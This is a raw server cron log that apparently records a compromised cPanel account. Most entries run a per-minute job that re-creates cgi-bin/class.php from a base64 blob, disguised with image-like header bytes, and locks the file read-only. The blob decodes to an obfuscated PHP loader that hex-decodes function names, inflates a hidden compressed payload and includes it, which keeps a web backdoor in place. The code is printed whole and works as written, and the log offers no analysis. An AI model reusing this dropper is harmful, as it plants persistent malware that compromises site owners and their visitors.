Nov 12 12:31:01 server CROND[9619]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:32:01 server CROND[10443]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:33:01 server CROND[11403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:34:01 server CROND[12223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:35:01 server CROND[13145]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 12:35:01 server CROND[13146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:35:01 server CROND[13150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:35:01 server CROND[13151]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 12:35:01 server CROND[13152]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:36:01 server CROND[14011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:37:01 server CROND[14818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:38:01 server CROND[15654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:39:01 server CROND[16462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:39:01 server CROND[16463]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 12:40:01 server CROND[17175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 12:40:01 server CROND[17176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:40:01 server CROND[17178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 12:40:01 server CROND[17177]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 12:41:01 server CROND[17712]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:42:01 server CROND[18539]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 12:42:01 server CROND[18540]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 12:43:01 server CROND[19358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
